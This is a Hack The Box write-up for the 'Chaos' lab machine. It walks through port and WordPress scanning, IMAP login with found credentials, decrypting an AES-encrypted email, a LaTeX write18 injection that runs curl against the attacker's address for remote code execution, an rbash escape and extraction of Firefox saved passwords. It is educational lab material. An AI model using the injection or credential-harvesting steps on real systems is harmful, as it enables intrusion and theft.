Writeup: Hack The Box - Machines - Chaos

Description

  • Name: Chaos
  • IP: 10.10.10.120
  • Author: sahay
  • Difficulty: 4.7/10

Discovery

nmap -sV -sC -Pn -p 1-65535 --min-rate 1000 --max-retries 5 10.10.10.120

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
PORT      STATE SERVICE  REASON         VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.34 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: CAPA STLS RESP-CODES PIPELINING SASL AUTH-RESP-CODE UIDL TOP
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
| SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
143/tcp open imap syn-ack ttl 63 Dovecot imapd (Ubuntu)
|_imap-capabilities: more listed have OK post-login capabilities SASL-IR LOGIN-REFERRALS STARTTLS ENABLE ID LITERAL+ LOGINDISABLEDA0001 IMAP4rev1 IDLE Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
| SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap syn-ack ttl 63 Dovecot imapd (Ubuntu)
|_imap-capabilities: listed more OK have post-login SASL-IR LOGIN-REFERRALS capabilities ENABLE ID LITERAL+ AUTH=PLAINA0001 IMAP4rev1 IDLE Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
| SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: CAPA SASL(PLAIN) RESP-CODES PIPELINING TOP AUTH-RESP-CODE UIDL USER
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
| SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
10000/tcp open http syn-ack ttl 63 MiniServ 1.890 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: EA9A0A98E2A16B0ADEA1F6ED448F4CEF
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From gobuster:

1
2
3
4
http://10.10.10.120/wp (Status: 301)
http://10.10.10.120/wp/wordpress (Status: 301)
http://10.10.10.120/javascript (Status: 301)
http://10.10.10.120/server-status (Status: 403)

From wpscan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
[+] http://10.10.10.120/wp/wordpress/
| Interesting Entry: Server: Apache/2.4.34 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://10.10.10.120/wp/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://10.10.10.120/wp/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Detected By: Rss Generator (Passive Detection)
| - http://10.10.10.120/wp/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
| - http://10.10.10.120/wp/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
|
| [!] 7 vulnerabilities identified:
|
| [!] Title: WordPress <= 5.0 - Authenticated File Delete
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9169
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9170
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9171
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9172
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9173
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9174
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9175
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a

[+] WordPress theme in use: twentyseventeen
| Location: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/
| Last Updated: 2018-12-19T00:00:00.000Z
| Readme: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 1.9
| Style URL: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Detected By: Css Style (Passive Detection)
|
| Version: 1.7 (80% confidence)
| Detected By: Style (Passive Detection)
| - http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7'

[+] Enumerating Vulnerable Plugins

[i] No plugins Found.

[i] No themes Found.

[i] No Timthumbs Found.

[i] No Config Backups Found.

[i] No DB Exports Found.

[i] No Medias Found.

[i] User(s) Identified:

[+] human
| Detected By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

Pwn

On port 80 there is a Wordpress installation with a password protected post.

Thus using huamn as password to the blocked post it’s possible to read a note about some webmail credentials for ayush user.

On port 10000, running with TLS, there is a login to a Webmin interface. Webmin allows to control a PC from a browser. But no credentials are found to be used on the service.

Adding chaos.htb to /etc/hosts allows to access the main web application:

Scanning the host with gobuster shows useless directories:

1
2
3
4
5
6
http://chaos.htb/img (Status: 301)
http://chaos.htb/css (Status: 301)
http://chaos.htb/source (Status: 301)
http://chaos.htb/js (Status: 301)
http://chaos.htb/javascript (Status: 301)
http://chaos.htb/server-status (Status: 403)

Using the founds credentials for the webmail (ayush:jiujitsu) it’s possible to login on the IMAP service on port 993 (the service requires SSL/TSL enabled) using openssl.

OpenSSL implements a client that support SSL/TLS and can be used like telnet to interact to simple services like POP3 or IMAP.

openssl s_client -connect chaos.htb:993 -crlf

Commands:

1
2
3
4
5
6
7
a1 LOGIN ayush jiujitsu
a2 LIST "" "*"
a3 FETCH INBOX
a4 SELECT INBOX
a5 SELECT Sent
a6 SELECT Drafts
a7 FETCH 1 body[]

The last command will retrieve the email with index 1 from the Drafts folder.

Email attachments are base64-encoded, as usual, so the encrypted text is in enim_msg.txt and the python code is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def encrypt(key, filename):
chunksize = 64 * 1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV = Random.new().read(16)

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)

while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))

outfile.write(encryptor.encrypt(chunk))


def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()

The code, however, is not complete because the decryption function is not present. The algorithm use AES CBC to encrypt the message and a simple Google search return the complete script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import os
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random


def encrypt(key, filename):
chunksize = 64 * 1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV = Random.new().read(16)

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)

while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))

outfile.write(encryptor.encrypt(chunk))


def decrypt(key, filename):
chunksize = 64 * 1024
outputFile = filename[11:]

with open(filename, 'rb') as infile:
filesize = int(infile.read(16))
IV = infile.read(16)

decryptor = AES.new(key, AES.MODE_CBC, IV)

with open(outputFile, 'wb') as outfile:
while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break

outfile.write(decryptor.decrypt(chunk))
outfile.truncate(filesize)


def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()


def Main():
choice = input("Would you like to (E)ncrypt or (D)ecrypt?: ")
if choice == 'E' or choice == 'e':
filename = input("File to encrypt: ")
password = input("Password: ")
encrypt(getKey(password), filename)
print("Done.")
elif choice == 'D' or choice == 'd':
filename = input("File to decrypt: ")
password = input("Password: ")
decrypt(getKey(password), filename)
print("Done.")
else:
print("No Option selected, closing...")


if __name__ == '__main__':
Main()

With the complete script it’s possible to decrypt the message with password sahay: “You are the password XD.”.

The provided link returns a web application to write some templates. It turns out that the application runs pdflatex on the backend to compile the inserted text:

LaTex allows to execute commands on the machine where it’s compiled but some commands are blacklisted.

Another way to run commands using LaTex it’s using \immediate\write18{curl http://10.10.XX.XX}, uploading and compiling the template triggers a HTTP request on the local machine:

Using the above command it’s possible to get a RCE and start a meterpreter session:

The session is for user www-data and some basic enumeration of the system do not found anything juicy except for the MySQL password (inner[OnCag8) and the Wordpress user hash (human:$P$BSl/JcSO/ofPD.t/2u8ANTcqtIBX5G/).

The purpose of the privesc is to get a shell as ayush, sahay or root and the most obvious way to do so is using su: ayush has proven not to be careful about his passwords.

1
2
3
root:x:0:0:root:/root:/bin/bash
sahay:x:1000:1000:choas:/home/sahay:/bin/bash
ayush:x:1001:1001:,,,:/home/ayush:/opt/rbash

The list of known passwords or keys is:

1
2
3
4
sahay
jiujitsu
human
ayush

jiujitsu is the password for user ayush but the spawned shell is restricted (rbash as stated on the passwd file).

The rbash shell has the PATH variable set to /home/ayush/.app so simply using the PATH of user www-data it’s possible to get a fully working shell and read the first flag.

In the home directory is present the Firefox’s folder profile and Metasploit provides a module to extract the files with user saved passwords and logins: post/multi/gather/firefox_creds.

If Firefox is configured to use a Master Password to store the saved credentials those are encrypted and to decode them the password must be known. Assuming to know the password, all files are extracted and dumped to the local machine and using a tool called firefox\_decrypt the encrypted credentials can be decrypted.

The tool extract and decrypts, after asking for a password, all saved credentials in the Firefox profile.

Again the Master Password is jiujitsu and the only entry in the database is the root password used to the Webmin service.

Resources: